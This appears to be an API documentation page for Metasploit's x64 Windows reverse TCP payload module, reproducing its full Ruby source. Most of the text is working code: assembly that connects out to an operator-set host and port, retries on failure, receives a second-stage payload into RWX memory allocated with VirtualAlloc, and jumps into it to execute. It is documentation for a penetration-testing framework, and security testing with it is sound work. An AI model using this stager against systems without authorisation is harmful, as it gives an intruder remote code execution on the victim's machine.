Module: Msf::Payload::Windows::ReverseTcp_x64

Includes:
TransportConfig, Msf::Payload::Windows, BlockApi_x64, Exitfunk_x64, SendUUID_x64
Included in:
ReverseTcpRc4_x64
Defined in:
lib/msf/core/payload/windows/x64/reverse_tcp_x64.rb

Overview

Complex reverse_tcp payload generation for Windows ARCH_X64

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from Exitfunk_x64

#asm_exitfunk

Methods included from BlockApi_x64

#asm_block_api

Methods included from SendUUID_x64

#asm_send_uuid, #uuid_required_size

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Instance Method Details

#asm_block_recv(opts = {}) ⇒ Object 



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# File 'lib/msf/core/payload/windows/x64/reverse_tcp_x64.rb', line 192

def asm_block_recv(opts={})

  reliable     = opts[:reliable]

  asm = %Q^
    recv:
    ; Receive the size of the incoming second stage...
      sub rsp, 16             ; alloc some space (16 bytes) on stack for to hold the
                              ; second stage length
      mov rdx, rsp            ; set pointer to this buffer
      xor r9, r9              ; flags
      push 4                  ;
      pop r8                  ; length = sizeof( DWORD );
      mov rcx, rdi            ; the saved socket
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call rbp                ; recv( s, &dwLength, 4, 0 );
  ^

  if reliable
    asm << %Q^
    ; reliability: check to see if the recv worked, and reconnect
    ; if it fails
      cmp eax, 0
      jle cleanup_socket
    ^
  end

  asm << %Q^
      add rsp, 32             ; we restore RSP from the api_call so we can pop off RSI next

    ; Alloc a RWX buffer for the second stage
      pop rsi                 ; pop off the second stage length
      mov esi, esi            ; only use the lower-order 32 bits for the size
      push 0x40               ;
      pop r9                  ; PAGE_EXECUTE_READWRITE
      push 0x1000             ;
      pop r8                  ; MEM_COMMIT
      mov rdx, rsi            ; the newly received second stage length.
      xor rcx, rcx            ; NULL as we dont care where the allocation is.
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call rbp                ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
      ; Receive the second stage and execute it...
      mov rbx, rax            ; rbx = our new memory address for the new stage
      mov r15, rax            ; save the address so we can jump into it later

    read_more:                ;
      xor r9, r9              ; flags
      mov r8, rsi             ; length
      mov rdx, rbx            ; the current address into our second stages RWX buffer
      mov rcx, rdi            ; the saved socket
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call rbp                ; recv( s, buffer, length, 0 );
  ^

  if reliable
    asm << %Q^
    ; reliability: check to see if the recv worked, and reconnect
    ; if it fails
      cmp eax, 0
      jge read_successful

    ; something failed so free up memory
      pop rax
      push r15
      pop rcx                 ; lpAddress
      push 0x4000             ; MEM_COMMIT
      pop r8                  ; dwFreeType
      push 0                  ; 0
      pop rdx                 ; dwSize
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
      call rbp                ; VirtualFree(payload, 0, MEM_COMMIT)

    cleanup_socket:
    ; clean up the socket
      push rdi                ; socket handle
      pop rcx                 ; s (closesocket parameter)
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
      call rbp

    ; and try again
      dec r14                 ; decrement the retry count
      jmp create_socket
    ^
  end

  asm << %Q^
    read_successful:
      add rbx, rax            ; buffer += bytes_received
      sub rsi, rax            ; length -= bytes_received
      test rsi, rsi           ; test length
      jnz read_more           ; continue if we have more to read
      jmp r15                 ; return into the second stage
  ^

  if opts[:exitfunk]
    asm << asm_exitfunk(opts)
  end

  asm
end

#asm_reverse_tcp(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {}) —

    a customizable set of options

Options Hash (opts):

  • :port (Integer) —

    The port to connect to

  • :exitfunk (String) —

    The exit method to use if there is an error, one of process, thread, or seh

  • :reliable (Bool) —

    Whether or not to enable error handling code



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# File 'lib/msf/core/payload/windows/x64/reverse_tcp_x64.rb', line 101

def asm_reverse_tcp(opts={})

  retry_count  = [opts[:retry_count].to_i, 1].max
  encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
  encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
  encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]

  asm = %Q^
    reverse_tcp:
    ; setup the structures we need on the stack...
      mov r14, 'ws2_32'
      push r14                ; Push the bytes 'ws2_32',0,0 onto the stack.
      mov r14, rsp            ; save pointer to the "ws2_32" string for LoadLibraryA call.
      sub rsp, #{408+8}       ; alloc sizeof( struct WSAData ) bytes for the WSAData
                              ; structure (+8 for alignment)
      mov r13, rsp            ; save pointer to the WSAData structure for WSAStartup call.
      mov r12, #{encoded_host_port}
      push r12                ; host, family AF_INET and port
      mov r12, rsp            ; save pointer to sockaddr struct for connect call

    ; perform the call to LoadLibraryA...
      mov rcx, r14            ; set the param for the library to load
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
      call rbp                ; LoadLibraryA( "ws2_32" )

    ; perform the call to WSAStartup...
      mov rdx, r13            ; second param is a pointer to this struct
      push 0x0101             ;
      pop rcx                 ; set the param for the version requested
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
      call rbp                ; WSAStartup( 0x0101, &WSAData );

    ; stick the retry count on the stack and store it
      push #{retry_count}     ; retry counter
      pop r14

    create_socket:
    ; perform the call to WSASocketA...
      push rax                ; if we succeed, rax will be zero, push zero for the flags param.
      push rax                ; push null for reserved parameter
      xor r9, r9              ; we do not specify a WSAPROTOCOL_INFO structure
      xor r8, r8              ; we do not specify a protocol
      inc rax                 ;
      mov rdx, rax            ; push SOCK_STREAM
      inc rax                 ;
      mov rcx, rax            ; push AF_INET
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
      call rbp                ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
      mov rdi, rax            ; save the socket for later

    try_connect:
    ; perform the call to connect...
      push 16                 ; length of the sockaddr struct
      pop r8                  ; pop off the third param
      mov rdx, r12            ; set second param to pointer to sockaddr struct
      mov rcx, rdi            ; the socket
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
      call rbp                ; connect( s, &sockaddr, 16 );

      test eax, eax           ; non-zero means failure
      jz connected

    handle_connect_failure:
      dec r14                 ; decrement the retry count
      jnz try_connect
  ^

  if opts[:exitfunk]
    asm << %Q^
    failure:
      call exitfunk
    ^
  else
    asm << %Q^
    failure:
      push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
      call rbp
    ^
  end

  asm << %Q^
    ; this label is required so that reconnect attempts include
    ; the UUID stuff if required.
    connected:
  ^
  asm << asm_send_uuid if include_send_uuid

  asm

end

#generate(_opts = {}) ⇒ Object

Generate the first stage



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# File 'lib/msf/core/payload/windows/x64/reverse_tcp_x64.rb', line 29

def generate(_opts = {})
  conf = {
    port:        datastore['LPORT'],
    host:        datastore['LHOST'],
    retry_count: datastore['ReverseConnectRetries'],
    reliable:    false
  }

  # Generate the advanced stager if we have space
  if self.available_space && cached_size && required_space <= self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
    conf[:reliable] = true
  end

  generate_reverse_tcp(conf)
end

#generate_reverse_tcp(opts = {}) ⇒ Object

Generate and compile the stager



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# File 'lib/msf/core/payload/windows/x64/reverse_tcp_x64.rb', line 57

def generate_reverse_tcp(opts={})
  combined_asm = %Q^
    cld                     ; Clear the direction flag.
    and rsp, ~0xF           ;  Ensure RSP is 16 byte aligned
    call start              ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop rbp               ; block API pointer
    #{asm_reverse_tcp(opts)}
    #{asm_block_recv(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end

#include_send_uuid ⇒ Object

By default, we don’t want to send the UUID, but we’ll send for certain payloads if requested.



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# File 'lib/msf/core/payload/windows/x64/reverse_tcp_x64.rb', line 50

def include_send_uuid
  false
end

#initialize(*args) ⇒ Object

Register reverse_tcp specific options



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# File 'lib/msf/core/payload/windows/x64/reverse_tcp_x64.rb', line 22

def initialize(*args)
  super
end

#required_space ⇒ Object

Determine the maximum amount of space required for the features requested



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# File 'lib/msf/core/payload/windows/x64/reverse_tcp_x64.rb', line 78

def required_space
  # Start with our cached default generated size
  space = cached_size

  # EXITFUNK 'seh' is the worst case, that adds 15 bytes
  space += 15

  # Reliability adds bytes!
  space += 57

  space += uuid_required_size if include_send_uuid

  # The final estimated size
  space
end

#transport_config(opts = {}) ⇒ Object 



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# File 'lib/msf/core/payload/windows/x64/reverse_tcp_x64.rb', line 71

def transport_config(opts={})
  transport_config_reverse_tcp(opts)
end